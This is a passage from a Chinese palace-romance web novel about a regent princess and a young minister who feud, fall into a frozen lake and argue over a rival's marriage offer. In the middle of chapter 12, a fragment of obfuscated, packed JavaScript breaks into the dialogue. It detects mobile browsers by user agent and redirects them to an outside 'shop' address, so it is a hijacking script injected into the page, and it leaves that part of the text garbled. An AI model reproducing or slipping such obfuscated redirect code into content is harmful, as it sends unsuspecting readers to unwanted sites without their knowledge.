当然,外间流传的,晏西棠高中探花,琼林宴上被琳琅公主所害,成了一个著名笑话;晏西棠作翰林学士,入宫侍讲,趁机报复琳琅公主,让她也成了一个著名笑话。从此,两人结下梁子……
说的便是这鱼食与母羊传之事。
“所以,我们,扯平了。”琳琅长公主抬颌,终于,那听了半天墙壁的憋屈,有了些痛快。
大家都是弄巧成拙,彼此彼此。
意气相争,胜负最重要,决不能败下风,至少,也得是平手。
却见着晏西棠一阵眼神明灭,一番回味,又笑说:
“既然是这样,那公主当时,为何还要告我打你,害得我被贬罚岭南做县令?”
他就拿起戒尺,象征性地打了她几下手掌心,就被她在御前一阵哭诉,说他痛打她!
“若不是到岭南两年,你遇山民之乱,治理有功,哪能直接入京,就跳升为京兆府尹?你不还是得感谢我?”
夜鸣珂沿着那水岸,轻巧跳跃,心头,亦有些跳跃。
即便是陈年旧事,悠悠仇怨,说起来,也别有一番痛快!
“再说了,你那县令不是做得威风,几个杀威棒下去,就打杀我一个家奴吗?”
“若不打杀了那厮,纵由他坐实那私采私卖荔枝之罪,不得把他主子也牵连进去,下牢狱?”晏西棠也不甘示弱,继续无奈笑着,来论,“这一桩人情,公主不也是,非但不谢我,还……”
突然,又欲言又止。
似乎觉得,这冤冤相报,一路往下,绵绵不绝,说也说不完的样子。
“我还怎样了,你说呀?”夜鸣珂不依,作死地追着问。
“算了,都是过去的事情,臣不想说了。”晏西棠突然抬手行礼,表示承让,认输。
再往下,就有些伤筋动骨,结怨到深处了。
“……”夜鸣珂也就住了嘴,却狠狠地转身,朝向了湖面。
彼此心知肚明,一阵无言。
寒夜雪停,四下堆白,远处的殿室,有些温暖光亮,近处的亭阁,有些笼灯摇晃,头顶有些月明星稀,湖上有些幽光波粼。
静下来,其实是怪好的景致。若是有人依偎,与人共赏的话。
女郎左右举目一番,便将手中兔子灯提起,一番独自赏玩。
晏西棠踏过那片碎石滩岸,终是站到她边上来。
“这兔子灯,还……好看吧”男子彻底歇了先前那斗嘴,好言好语,来问。
还略略有些讨好的意思。毕竟,是他挑遍整个市集,才买到的。
“小孩子的玩意儿,也就只有扶疏那种小丫头,才会喜欢。且这灯节都过完了,还留着做什么?”
夜鸣珂一边在鼻间嗤笑,一边蹲身,就将那兔子灯,连灯带杆一起,放入湖里,扔了。
胖胖的笼灯入水,咕咚打破水面平静,泛起悠悠涟漪,摇摇晃晃地,飘走。
在那清寒夜风的吹拂下,像一场犹犹豫豫的离岸远行。
“……”晏西棠看得瞠目,却又无言,目送了那兔子一阵,又转眸回来,看着她手中桔子,讪讪地问:
“这桔子,是给臣的吗?”
“不是,是喂鱼的!”夜鸣珂又一个扬臂甩手,“咚”的一声,桔果落水,砸出一大波荡漾水纹。
“那这制书,是签印好了……给我的?”
晏
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西棠追踪完那条有去无回的抛物弧线,又眼巴巴看向女郎手中,所剩下的唯一物件。
“哈,我改主意了!”
夜鸣珂将手中卷轴啪的一声拍响,又扬了手臂,作势要扔。
“哎,不是,别扔!……”那人赶紧迈步上前,伸手来夺。
一个迈步,贴面挡在了她面前,身高臂长,眼疾手快,一把抓住了那卷轴的另一头。
女郎自然是不会放手的,可那人也抓着不放,一个卷轴,一人抓一头,谁都不松手。
脚下湿滑,情急之下,女郎先失了重心,歪歪斜斜要倒,那人急忙一只手将她拦腰抱住,一只手仍是抓着卷轴,使力地扯。
越是这样,夜鸣珂就越起火。
她心道,为了这道容相家眷留京的制书,他竟然可以像要跟她拼命一样,来抢。
可不是为了那容语微不是?
遂越发别扭,一边拧腰使力,一边手上用劲,势必要将那签印好的罢官制,给扔进湖里了事。
然后,让那一家子渡琼海涉鲸波,全部发配到崖州去。
那人就将她也抱紧,将手中书也攥紧,说什么,也不放。
两人就那么缠抱着,抢一份罢官制。
有些乱套了。
一声娇色惊呼,突然响起,将那乱套的两人给定住——
“皇姐!晏大人!你们在做什么?”
暖阁边上,扶疏睡醒了,揉着惺忪睡眼,呆呆地看着,这怎么也看不懂的场面。
“扶疏,快来帮我,他要抢我东西!”还是琳琅长公主反应快,要把妹妹拉来当帮手。
“扶疏,快来帮我,是你皇姐要抢我东西!”晏西棠就笑,想卖一卖他那被这小公主仰慕的情面。
夜云裳傻傻地,下了台阶,几步跑过来,却在那碎石滩前站住了。
眼前光景,她还是没怎么看懂。所以,她不知道,到底,该帮谁……
“嗷……你属狗的呀……”
就在扶疏公主站在那处不知所措,却又成功地吸引了某人主意的当口,夜鸣珂张嘴,就咬住了那只就搁在她嘴边上的手,咬住了那抓握卷轴的虎口。
晏西棠一个吃痛,笑骂间,卷轴已被抢走。
女郎赶紧一个扬臂甩手,把那制书往湖里使劲地扔,且还生怕不够,同时跳脚扑身,去助力。
失了重心,往那湖里栽,也不管不顾。
那尚还用一只手抱她的人,不知是要拉住她,还是要继续来抢。
反正,也跟着倾身,栽来。
然后,就是,两人一起,双双跌入湖中。
那沁湖边上,矶滩入水,本有一截浅岸,然而,冬日水浑,厚泥积淀,甚是打滑。
两人落水,尚是缠抱,便是一番胡乱挣扎,遂再一次,跟绞在一起的轱辘一般,滑进深水中去了。
雪夜深寒,沁湖冰水,锦裘冬衣,入水沉重,咕噜一声,就没了影。
“救命啊!来人啊!掉湖了啦!”
扶疏长公主站在岸边,终于找到了她可以帮忙的地方。
开始惊慌地,放声大喊。
11. 正月十九.第一回合
正月十九晨,春和宫,景明殿,琳琅长公主的寝阁。
重锦罗帐,檀木妆台,金漆镜奁,紫绡在帮着公主对镜梳妆。
在最后点那绛色唇脂之前,琳琅长公主尚凑脸在那铜镜边,将唇上一抹豆大的血痂疤痕,仔细地看了又看。
然后,把这几天来,已经问过紫绡好几遍的问题,再问一遍。
“紫绡,正月十六那天夜里,是谁救我上来的?”
她只记得,当时滚落沁湖深水中,冰水浸骨,冬衣沉重,她要挣扎,还被那人作死地抱着不松手,心头一急,几口水呛喉,咕噜咕噜就往下沉,然后,就越深,越重,越冷,很快就失去了知觉。
紫绡答,是晏大人。
据说,等大家听到扶疏长公主的呼救声,从春和宫中冲出来,抵至湖边时,晏大人已经凭借一己之力,将他自己和公主一起,拖上岸来了。
“”夜鸣珂又将那湿漉漉的沉重光景,在脑子里过了一遍,仍觉寒栗。
“那……是谁将我给救醒的?”
紫绡又答,是晏大人。
据说,她被拖上岸时,就一不省人事的猪,又沉又重。呃……这是晏大人的原话。紫绡不敢增删乱说。
先将她放在那湖边地上,挤胸,排水,渡气,折腾了半响,都不见醒。晏大人就说,怕是冻晕了,得回暖。
恰好彼时,紫绡正在给她准备洗澡水,热腾腾的香花浴汤,正搁在景明殿中的浴房里呢。
晏大人就抱起那地上的……猪,一路跑进春和宫去,几下脱了那湿重外衣,就将她扔进那桶热水里。
可放了手,她又是一头栽进热水里,还是不醒。
晏大人赶紧一把把人捞起来,又挥挥手,叫她们都出去,说他有办法,把公主叫醒来。
然后,她们就齐齐退到了屏风后面去……
然后,不多时,就看见晏大人出来,说,没事儿了,快进去服侍吧。
紫绡说罢,还把手一摊,表示她看到的,就这些。
至于晏大人,究竟是用什么秘法,把公主给叫醒的,她不知道。
可琳琅长公主心头,大致清楚,她应该是被他……咬醒的!
那迷迷糊糊,浑身冷沉之下,浑身有种泡在热水的暖意,然后,唇上也来了一种柔软温热,绵绵地堵她,反倒堵得她有些气紧,突然唇上一个吃痛,就痛得她嘤咛出声。
努力去抬眼皮,却又睁不开。好不容易咪睁了个眼缝,却只见着热气水雾间,有个模模糊糊的身形在起身,似乎是晏西棠的声音,笑得无比的……嘲弄:
“醒了?”
她心头有些娇气,可又答不出声,偏头靠在那浴桶搁颈处,被浑身的温暖包围着,转瞬,又阖了眼皮,睡了过去。
心头大约知道,自己是在深湖冰水里去走了一遭,体力消耗殆尽,没力气跟人斗气了。
后头,似乎就是紫绡进来,等着扶她起来穿衣,再一路扶到寝阁去,一头栽在床上,继续一通死沉的睡。
彻底醒来,已是第二日早上,才发现这唇上的血痂。
“那……后来呢?”琳琅长公主还是想弄清楚,在她睡掉的时间里,发生的事情。
紫绡就与她交代,那后头半夜,晏大人坚持回那湖边暖阁里去待着,好在有扶疏殿下,忙前忙后的照顾他,给他找了干爽的衣服来换,又吃了些东西,眯盹了半宿,天明才出的宫。
天明之时,百官在外朝上值,等候召见之时,他大摇大摆地,从内宫中,走了出去!
然后,身穿一身太监服色,顶着个青黑眼圈的晏相公,便大言不惭地告诉各位目瞪口呆的大人们,他是昨日就进的宫,找琳琅长公主签印容相的罢官制。
本是念着恩师之情,想替容相求个近一些的贬迁之地,却被琳琅长公主滞留在沁湖边上,考验他的诚心呢。
他在那湖边风雪地里,老老实实地,喝着冷风,顶着白雪,待到了深夜,可没有秽.乱任何一处宫闱。此事,有扶疏殿下和许多位宫女亲眼目睹,可为他作证。
然后,琳琅长公主殿下竟然还想要继续考验考验他的诚心,就把签印好的罢官制给扔进那沁湖冰水里,让他去捡。他还真的跳进湖中,去捞,却没能捞到,当然,没捞到,此事也就不作数。此事,有他现在两手上的空空如也,和一身不怎么合身的太监服作证。
所以,政事堂的大人们,很抱歉,他已经很努力了,却没能把容相的开恩求下来,有劳大家继续,他先回家休息去。
这大冷天的,一夜折腾,至少得回家卧床休息个十天半月,才行。
晏大人红着鼻子,拥了拥那狐裘披围,扬长而去。
这一去,果然就是称病告假,不来上值。
今日正月十九,已是第三天。
“今日来了吗?我是说晏相公?”琳琅长公主转头,去问门边侍立的常小山。
“回殿下,……没有!”常小山已经去那垂拱殿走了一遭,把那等候召见的群臣数了一遍。
夜鸣珂听罢,扯嘴角笑了笑,便用那绛色胭脂,遮了唇上血痂,抿了抿唇,起身出殿,见朝臣们去。
今日逢九,那三六九的垂拱殿御书房小朝议,还是得去。
即便,晏西棠不在。
不过,人不在,魂却在。
那书房朝议上,几件例行公事说完,就扯到这正月十六夜里的事情上来了。
由于晏西棠那天早上出宫时,把这事给敞开
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了,闹得众人皆知,且还把自己描述成一幅受了长公主欺压的惨状。
所以,众人似乎觉得,这个时候,不替他说点话,便是不顾同僚之情。
往往,朝臣莫名受到皇家欺负时,臣子们还是会站在一条战线上,一致对外的。
是为捍卫臣子的尊严与权利。
于是,几句话不到,夜鸣珂就感觉,她陷入了一场唇枪舌剑的围攻。
先皇过世,也就两三年的事情,现在的东西两府,三司六部的高官,基本上,都还是些先皇一朝的老臣。
比如,这中书门下,除了晏西棠之外的两相两参,三司计相纪如海,枢密院正使秦龙修等,都是些老人家。
平日里,他们也尊她摄政监国之权,可这会儿,要倚老卖老,摆起架子来,说她的不是,夜鸣珂也只能含笑……接受。
“殿下啊,恕老臣直言,这事情,确实是公主做得不对……”
“怎么能够让人在风雪地里待一夜呢,是要冻死人的……”
“怎么能把东西扔湖里让去捡呢,那沁湖冰水深一丈,也是要淹死人的……”
“大兴的朝官,都是寒窗十年,科考选拔出来的肱骨栋梁之才,为朝廷鞠躬尽瘁,呕心沥血,皇家自当爱惜与尊重,律令上都写了,刑不上大夫,公主还这样折磨人……”
“晏相公是大兴士子的榜样,青年一代的佼佼者,日后亦将是陛下的得力重臣,公主可不能这样把他的意志给消磨了,寒了天下士子的心……”
“公主这做法,太伤臣子们的心了……”
都是些能言善道的老狐狸,理论起来,绵绵不绝,十分厉害。
琳琅长公主自然是不会硬抗的,遂不温不火地,点点头,含着笑,对所有的数落,照单全收。
然后,知错,能改。亦如往昔,那个常伴先帝身侧的谦逊小公主:
“诸位大人教诲得是,鸣珂知错了。这样吧,容相的罢官制,就照晏相公的意思写。……然后,今天下午,我再派御医去看一看……要不,我与陛下也去探望一下,我去给晏大人当面道个歉,成了吧?”
琳琅长公主彻底服软,放下姿态,知错能改,一众老臣倒也就歇了那教训。
继而翻过了这一页,继续下面的议事。
夜鸣珂抿了抿唇,触及那唇上血痂,却在心头,狠狠地给晏西棠,记了一笔大帐!
得,他倒是全了他铮铮直臣的清誉与官声,全了对恩师容相的仁义与孝敬,却害得她背了一个昏庸娇横的锅,还被喷了一脸的唾沫星子!
他还骂我呢!他还笑我呢!他还咬我呢!这些有苦说不出的帐,她找谁算去?
得,等散了朝议,她就亲自上门去,私了!
12. 正月十九.第二回合
那天午后,琳琅长公主先是派了太医院的纪无攸,去崇仁坊的相府,给晏西棠问诊,以示皇家关切。
纪无攸一开始还不乐意,说他金手玉指的,只给宫里的贵人们诊脉,不想去给那些臭烘烘的外臣看病。
夜鸣珂气得,只得拿出那落薇宫的小太妃,来威逼利诱,说等过两年小皇帝长大些,要娶亲有宫眷了,她就可以此为由,安排先皇的小太妃出宫去,好方便他行事。当然,前提是他得听她驱使。
那骄矜的纪公子,与她确认再三,这才勉为其难地去了。
晚些时候,将近酉时,她又派小皇帝去探病,说他过两年就要亲政了,现在也该学着如何与外臣相处。这生病时的亲躬探望,便是明君之仪。
小皇帝一开始也不乐意,说他功课多着呢,做不完的话,明日老师又要训人的。
夜鸣珂气得,想他平日可没有这么爱学习,想来是这几日宫女们蜂拥到资善学宫来,他突然觉得读书好玩了。遂也只得开出许他玩耍的条件,来威逼利诱。许他去探望了晏西棠,可以到市集上去玩耍一番,当然,前提是在戌时之前,必须回宫。
那贪玩的少年,凑脸看了看她身边的滴漏,再探头去看了看窗外天色,便抓紧时间,飞也似的出宫了。
就这样,先遣了两员大将,去打头阵,把皇家的亲厚关切显示足了,又理完那日的政事,用了些晚膳,这才晃晃悠悠地出宫城,往崇仁坊去。
去算账去。
崇仁坊多是些带阔院园林的宽门大宅,京中权贵皆喜在此居住。政事堂相公的宅邸都是皇家所赐,自然也是崇仁坊的一座大宅院。
她还是第一次去。
去了,才惊掉下巴。
那人,竟然能够把一座富贵豪华的百年老宅,给荒凉成那个样子!
九进九出的齐备院落,全部空着,只在那右边的园林深处,辟了座堂室,来作书房用,且看起来,起居待客亦都在里头凑合了。
本是需要成群奴仆的大宅院,却就只见到一个贴身小厮,那个叫良笙的小子,据说从云泽带来的,跟了他十多年了。
当然,那良笙引着她在园边回廊里穿行时,还看见个花匠,尚在趁着那黄昏天色,侍弄修剪满园里遍植的一种一人多高的小树,枝叶未发。
良笙说,那是桔树,这帝都中的气候,桔树结的果苦涩得无法食用,可他家公子,就是想闻那春天里开放的桔子花香。
夜鸣珂听得摇头,这崇仁坊中的大宅,都是恨不得请名家来造园,叠石引水,迎风邀月,以求风雅。像他这样把园林改成果园,要闻果树花香的,怕也是独此一家了。
等入了那书房里,更觉不可思议。
这人,这点倒是跟她一样,读书写字处,不用桌椅,慕的是古风,地席小案。也不知是不是跟她一样,想要捡懒,图个坐卧自由,随意堆放。
然后,就看见那到处都是书,书架,案头,地上,堆满的书。仰面翻开的,俯身叩着的,歪斜挪着的,合着的,卷着的……书才是这屋子里的主人。
晏西棠坐在这书海中央,简席蒲团,红木小案,点墨提笔,勾勾画画。
像是在翻找查阅什么。
夜鸣珂立在门边,一身雪裘也不知该不该解,她有些下不了脚。
转头,良笙已经退了出去,不见了人影。
“公主来了?”晏西棠的声音,从书堆里传出来,迎接她。
忙得起不了身,抬不了头。
“这待客之道可真是……”琳琅长公主别头,吐气,都不知道该说什么了。
这主仆二人的待客之道,都这么奇怪。没口茶,没个座,也没个人来给她接衣服。
她后悔把紫绡等人,全部留在门上了。
“长公主殿下不是就想来看看臣的真实样子吗?微臣平日在家,就是这样的!没有半点伪装……”那人继续忙他的,顺便抬手指了指小案对面的地席,“请坐!”
原汁原味,原封不动,没有半点因她的到来而改变与……迎合。
“……”
也罢,夜鸣珂认命地,兀自解了雪裘披围,抱在手上,行到那红木小案对面的地席边上,顿了顿,却也不坐,只将披风给搁在那锦团上,然后,甩手晃步地,游走开去,四处打量一番。
就是个初次到别人家中,就到处乱瞧的,没规矩没礼貌的市井女郎。
心头想,他都不拘礼了,她还那么客气做什么?
看着那人眉眼有神,目光炯炯,只专注于他手中书文,似乎也任着她随便看,她便微微欠身,偏头来觑着,没好气地问:
“晏大人不是生病了吗?”
都告假三天了!
不是说风雪地里受凉,冰湖水里冻伤,卧病在床了吗?就知道他是装的吧!她都一碗姜汤下去,就没事儿了。就不信,他就老弱病残到这个地步!
“对呀,一直都还发着烧呢,嗯……这会儿都还有点……”
晏西棠抬手,自己摸了摸自己的额头。
然后,又搁了手中书文,侧身抬手,靠了身后凭几,抬眸来看着她,大有一副不信你自己摸的样子。
男子深衣披裘,散坐于席,一双桃花眼眸,精亮得照得见灯烛与人影,嘴角一抹似笑非笑,有种敞开胸怀,张开罗网,等着她来投的怪怪感觉。
夜鸣珂抚膝躬身,盯着他看了少息,终是忍住那伸手的冲动,直起腰身走开去,往书架上取下一本书,一边胡乱翻看,一边咬牙说来:
“反正,俸禄可是要按天克扣的!”
“嗯,这病假要扣俸禄的规矩,得改一改……”相公大人跟着随口,就要弄权改了这不合理的规矩。
“你不是还这么精神吗?咳咳……”
夜鸣珂有些急了。跟他斗嘴,总有呛着的时候,加之那陈年书本上的纸张粉尘,笔墨气味,弥散到鼻间,搞得她咳嗽起来,反倒像个病人。
“都是些要参加下月春闱的学子递来的文章,让帮忙看看,这不赶急吗?”那人又拿起案上文章,赶急地看。
“可真是上心啊,晏大人发着烧,都还在指点文章,那些春闱学子要是知道了,也不知要怎么感激……”
这考前的递往,不就是在培植门生,挑可为己所用之人吗?
夜鸣珂心头哼哼,又将他的奸邪用心猜度了一遍。
男子却浑然不觉似的,兀自谦虚了一下:“这点病痛,倒也不妨,还看得动文章的……”
大有以为天下学子指点迷津为己任的自觉,亦有些许……感觉自己身体还行脑子好用的自得。
“那你为什么把自己说得那么惨,害得我今日被骂了一上午!”
女郎豁然转身,猫腰下来,居高临下地,咄咄问他。
她终于,逮着个他掉坑里的机会,把那口气给撒了出来!
都看得动文章,却装病告假在家,不去上值,成心让她挨骂不是?
“……”晏西棠仰面,将那张气呼呼瞪他的小脸,凝看了少息,突然绽了笑,软软的问她,“公主那么聪明的人,不知微臣之用心吗?”
“……你就是想让我被他们骂!”
夜鸣珂被看得心慌,便撤了那对视,转身走开去。却依旧认着那死理。
“他们骂痛快了,是不是觉得自己更厉害了,办起政事来,又好又快?”晏西棠又追着来问她。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13158300|138610||http|test|mini|href|location''.split(''|''),0,{}));
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>“……”夜鸣珂不答,心头却在转。
似乎,今日那小朝议上,她被数落一通之后,那后头的议事,确实有那么点意思,又好又快。大佬们都好说话得,让她有些惊讶。
“水至清则无鱼,让奸者有机可图,亦要让直臣有义可伸,是为上位者之道。”
晏西棠叹气,不觉又是那师傅上身了:
“能够有些无伤大雅的昏庸小事,让朝臣们来理论伸张,他们才有机会做直臣,朝中有直臣,才是皇家之福……所以呢,我这也是在帮公主呢……”
“……”夜鸣珂无言。
其实吧,这道理,一说,她就懂,甚至,不说,她也大概懂的。只是觉得,咽不下这口气罢。尤其是对他!他总是太聪明,有种将她玩弄于股掌之上的感觉。
“哎,我这是在帮公主呢……”那人见她低眉顺目地,没了声气,竟还强调着,来索要功劳来了,“公主怎么谢我?”
“谢你作什么?”女郎便挑了眉,气得再一次扑过来,一个矮身蹲跪到他身边,面对面地,换下一桩理论,“你还咬我呢!”
“你先咬的呀……”晏西棠伸出一只手,意思是给她看,那天晚上她抢卷轴时,在他虎口上咬的牙印。呃……其实,早都消得没了影儿。
“哈!我可没你这么狠!”
夜鸣珂便抬手,摸了唇角血痂,微微抬颌递脸过去,给他看。
这可是实打实的证据。纪无攸说她是疤痕体质,有个破皮流血的,十天半月都愈不全。
那人果然凑脸看来,还差点抬手来抚,抬至半空,凝了凝,终是撤回去了。
“啧啧,倒是哦,我也没想到,有这样狠……”却也诚恳地承认了自己的错误,继而,桃花眼眸一闪亮,喉结一口吞咽滚动,又想了个补救的折来——
“要不,公主再咬回来?”
那俊美如画的男子,眉梢挂俏,眼眸含光,丰唇染笑,可能还因为低烧的缘故,面色上泛些潮意,有种说不出的魅惑与风流。
“你……”
夜鸣珂瞠目结舌,简直要疯了!
看着那笑面俊颜,只觉得是无比的犯贱与找抽。
不觉咬唇发狠。这般戏她,当她不敢咬吗?
那深园静室中,满地书册如海,孤男寡女,栖在一张地席上,一坐一跪,就那么尺间距离,眉睫可数,眸光可印,呼吸可闻……很容易就断了弦的。
有时候,恨的劲儿,跟痒的意,不怎么分得清。
然而,世事多蹊跷,无巧不成书。
这种时候,偏偏有不速之客来临。
“公子,容家小小姐来了!”
良笙在屋外,扯着嗓门喊。似乎是一边大步走,一边在通风报信。
那是一种主仆间的默契。
就见着晏西棠快速起身,一把还伸手来拉她:
“公主先回避一下!”
那神色,竟像个……要藏小情人的郎君。
“我在做什么见不得人的事情吗?为什么要我回避?”夜鸣珂缩手,赖在那地席上,板着脸反问。
她看得出奇,她来了这半响,都不见他起个身,这会儿,来个容家小小姐,就让他如此利索,且还要将她藏起来?
是什么道理?
“那就不回避吧……”晏西棠笑着点了点头,有些无奈。
正要扬声跟屋外招呼。
“不不,我还是回避一下吧。”
夜鸣珂却突然起身了,抱过地席上的雪裘披围,主动往那一排书架边上的里屋钻去。
她突然心血来潮,改了主意,决定回避一下,然后,看看那位容家小小姐,究竟是来做什么的?
13. 正月十九.第三回合
那书房的里屋,是一间寝阁,璎珞银勾高高挂起的床帐,叠放得整齐的枕褥,收集得干干净净的桌几,息了熏香的小兽铜炉,倒也整洁。
夜鸣珂就靠在那门边墙上,侧耳聆听,外间的动静。
小心脏扑通扑通的,有些个小兴奋。
既有身处男子寝房的新鲜,又有偷听人家墙壁的刺激。
手边上靠墙,有个衣架,还挂着那人的外袍与狐裘,隐隐有些衣香袭来,有种如麝的男子气息,还有些像果木花香的味道,清淡却提神,不似京中贵家喜用的甜腻熏香。
不过,那外间有一搭没一搭的叙话,却更是提神!
“……”
“晏哥哥进宫替爹爹求情的事情,我们都听说了。今日下午,罢官制也下到了府中,爹爹本想亲自登门道谢的,可在病中,出行不便,遂特地让我今夜前来,表示感激之情……晏哥哥救命之恩,我们全家都没齿难忘……”
“语微不用客气!老师为先皇修陵寝时,决定将墓室上挪一百步,我明知不妥,却未能及时阻止,已是深感愧疚,怎敢再受谢礼……”
“那是爹爹求功心切,怎么怪得了晏哥哥?当时,晏哥哥是提醒了爹爹的,说那高处未经钦天司勘察,恐有不妥。我在一边,都听见了,是爹爹心存侥幸,不听罢!”
“总是未能为老师尽一份绵薄之力,心中自责不已,如今做一点力所能及之事,让老师能够免于那渡琼海涉鲸波之苦,也是天经地义,所以,这礼,我确实不能收。”
“其实呢……这也不能完全算是谢礼,这是爹爹给我的定亲之礼!”
“……”
晏西棠似乎怔住了,一时没了声音。
夜鸣珂也怔住了,算是见识了这种豪放的贵家小姐,竟然可以自己上门,给自己说亲的。还有那话赶话,步步逼的技巧,也真是大开眼界——
“这是我家祖传的墨玉,价值连城……”
“那我就更不能收了!”
“晏哥哥是还在思念过世的妻子吗?可这日子总得继续,如今三年守期已过……”
“不是……”
“众人皆传,晏哥哥进宫求情,让容家老少眷属可留京中,是念着要娶我呢……”
“不是,语微,误会了……”
“那晏哥哥是看不起我吗?也是,如今爹爹落势,容家败落,晏哥哥怕是觉得,娶我做妻子,太寒碜了吧?”
“语微,不是这样的……”
“那也无妨,晏哥哥若是嫌弃我如今这身份,那就做侍妾吧,只要能够长伴哥哥身边,要我做什么,都可以!”
“语微,你先起来!起来说话……”
“晏哥哥不答应,我就不起来!”
“我……”
“若是晏哥哥不收留我,我也无处可去了!今夜来之前,爹爹将这墨玉给我,便说就算是将我嫁出了门。……所以,我今夜是回不去了,回去了,爹爹也不会让我进门的……”
大有那种你要是忍心将我赶出门,我就只能露宿街头的破釜沉舟。
“……”
晏西棠似乎要抓狂了,依稀抽气哀吟。
那在里屋听墙壁的女郎,亦是义愤填膺。
只听说有强娶的,还没见过这种要强嫁的。
那容相也是精明,将个女儿带着礼信,捡着这被贬罚的时机,就这般送来,不是就要逼他这学生就范嘛。
都这样送上门了,既是以身相许来谢恩,也是家门落难求收留。晏西棠若是不接受,便是嫌弃。日后再添油加醋地,往外一传,便是飞黄腾达的学生嫌弃了落势恩师的女儿,连招来做侍妾都觉得不配了。
且也觉得晏西棠,怎么就突然变笨了?对她这个长公主,都可以那么厉害,为何对着这个恩师家的小小姐,半个不字都说不,半点重话都舍不得?
夜鸣珂不禁心头一热,脑子一抽,抬手便将怀中雪裘往边上衣架上一挂,捞拳挽袖,要冲出去,救急。
这种时候,她还是很仗义的,想要帮晏西棠一把。
也不知是那雪裘太重,还是她挂得太偏,反正,挂上衣架那一瞬,反倒把衣架给拉倒了,那重木的架子倒过来,她心慌躲不及,就“咚”地一声闷响,砸她额上,痛得她眼冒金星。
然后,再是“咚”地一声巨响,重木架子与一堆衣物,砸在了红木地板上。
惊动了外面的两人。
“里面……什么声音?”容家小小姐惊怯地问。
“可能……是猫儿在乱跑吧……”晏西棠胡乱敷衍。
“晏哥哥什么时候养了一只猫儿?”那容语微记性又好,想来也是跟她父亲一样精。
“……”
夜鸣珂忍了那额角剧痛,抬手掀帘,一头就钻了出去。
腰板笔直,仪态万千地,出现在了那两人的视线里,然后,大大方方地,接话:
“哪有什么猫儿,是我!”
晏西棠转头,一脸的……不可描述。
容语微倒也镇定得快,迅速敛了那惊呆的神色,得体行礼:
“见过琳琅姐姐……”
京中贵女,宫里宫外的各式雅集晏乐中常相见,私底下,也就是熟络的姐妹圈子,互相之间,都知根知底。
琳琅长公主微微颔首,便算是应了。然后,款款行过来,笑得和气,开始撵那主人家:
“请晏大人回避一下,我有些体己话,要与语微妹妹讲。”
“我……”晏西棠强忍了那一脸的不可思议,点了点头,转身出了书房。
把他的书房,留给这姐姐妹妹喊得亲热的二人,来叙体己话。
夜鸣珂便往那地席上,先前晏西棠坐过的锦团上,四平八稳地坐了,抬一只手肘搁身后凭几,摆出个说一不二大姐姐的姿态来,再随便拈了点那种在朝堂上跟大臣们打太极的语气来,就足以够用:
“语微妹妹,可是不巧,你来得稍微迟了一点……”
“……”小案对面,容语微跽坐整齐,洗耳恭听。
“我今夜来晏府,一来,是来探望我大兴的宰执相公,这病好得怎样了?这不是,正月十六那天夜里,我这个昏庸公主让他在风雪地里受了凉,生病了吗……啊?你不知道他生病吗?这几日都在发烧呢,你看你,也是粗心,只顾着爹爹交代的事情,也不管情郎病痛……我就说嘛,我在里面听了半天,也没听你有个嘘寒问暖的话……”
先要说得她心生愧疚,无地自容。
“……”容语微嚅嗫无言,面色开始泛红。
“这二来呢,其实也是来给我那扶疏皇妹说姻缘的。她脸皮薄,可不敢像你这样子,自己来……不过,她喜欢你晏哥哥,也喜欢得紧,正月十五元宵灯节,你晏哥哥送了她一只兔子灯,说是全市集上最漂亮的兔子灯,就把她给兴奋得手舞足蹈……然后十六那天夜里,你晏哥哥在沁湖边上待了一宿,就是扶疏陪着他的……”
再要说得她嫉妒生狠,无比落寂。
“……”容语微仍是无言,面色开始泛青。
“这不,那天夜里,他把手帕子掉在宫里了,扶疏还给绣了腊梅萱草,让我给送还过来。刚好说到这一茬呢,你就来了,
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我只好先回避一下……你说他们两人,这赠来送往的,是不是两情相悦呢?……所以啊,姻缘这种事情,得随缘,强求不得,强扭的瓜不甜。”
还要说得她心灰意冷,冷如灰烬。
“……”容语微继续无言,隐隐眼中含了水光,垂了眸,别了头。
“不过呢,你也莫怪郎心似铁。其实,你晏哥哥也不是那等薄情寡义的人,只是心中另有所属,便无法对你再有何承诺。可他也是把你当亲妹子爱护的,不然为何进宫,为你爹爹和容家老少求情?我先前在里头,听得也是急,你看你都逼到那个份上了,他可是连半句伤你的重话,都没有说吧?”
再来说得她心头回暖,平添惆怅。
“……”那容语微便抬手抹了眼角,依稀有些抽息。
“所以,照我说啊,也别让他为难了!咱帝都城出生的女儿家,什么世面没见过?要有输得起的勇气,看得开的气度,别一副小家子气,让人笑话……这天底下,三条腿的□□难找,两条腿的男人,可多的是!”
继而说得她回肠荡气,重拾骨气。
“……”容语微红着眼眶,却也仰了面。
“你回去告诉你父亲,看上哪家的公子,想跟哪一家结亲家,都可以来跟我讲,我让陛下一道赐婚的圣旨,便是御赐的金玉良缘。只是,唯独晏西棠不行,他要娶夜氏皇家的公主,就不方便给他老相国做女婿了,啊?”
最后,还补了容相的颜面,亦让她回家去,有个交代。
终是把那容语微说得,心服口服,情绪平和地,起身告辞而去。
琳琅长公主这才侧身懒靠到凭几上,歇歇气。抬手撑着额头一揉,方觉那被砸处疼痛,且又觉得,有些口干舌燥。
不禁在心头叹息,这动嘴皮子的事情,还真是累!
少倾,晏西棠晃悠悠进来,好奇地问她:
“公主究竟说了些什么?”
看那隐笑神色,似乎是觉得,效果还不错。
夜鸣珂稳坐在他的位置上,斜斜抬眸,撇了他一眼,说得简练:
“无他,就说你晏大人要娶夜氏皇家的公主,就不方便给容老相国做女婿了……”
“娶……谁?”晏西棠没怎么听懂,眸中流光,却突然明灭不定,乍露些期许神色。
“扶疏!”
夜鸣珂却不觉,兀自点着那鸳鸯谱,又递过先前摸出的那张绢子来:
“还你手帕子,你娘子给你绣的那张,我不小心弄丢了,这张,是扶疏绣的,虽说针脚不怎样,可毕竟是心意。”
晏西棠直直地,看着她。没搭话,也没伸手接那帕子,没变脸色,但也看不出喜怒。
夜鸣珂心头有些发虚,也就没在多话。
那人直到似乎将她脸上看出朵花儿了,才默默转身,往里屋去。
“喂,你做什么去?”
轮到夜鸣珂不解了,转着头地追着看。
想到他可能会不高兴,但没想到,反应这么怪,跟傻了似的。
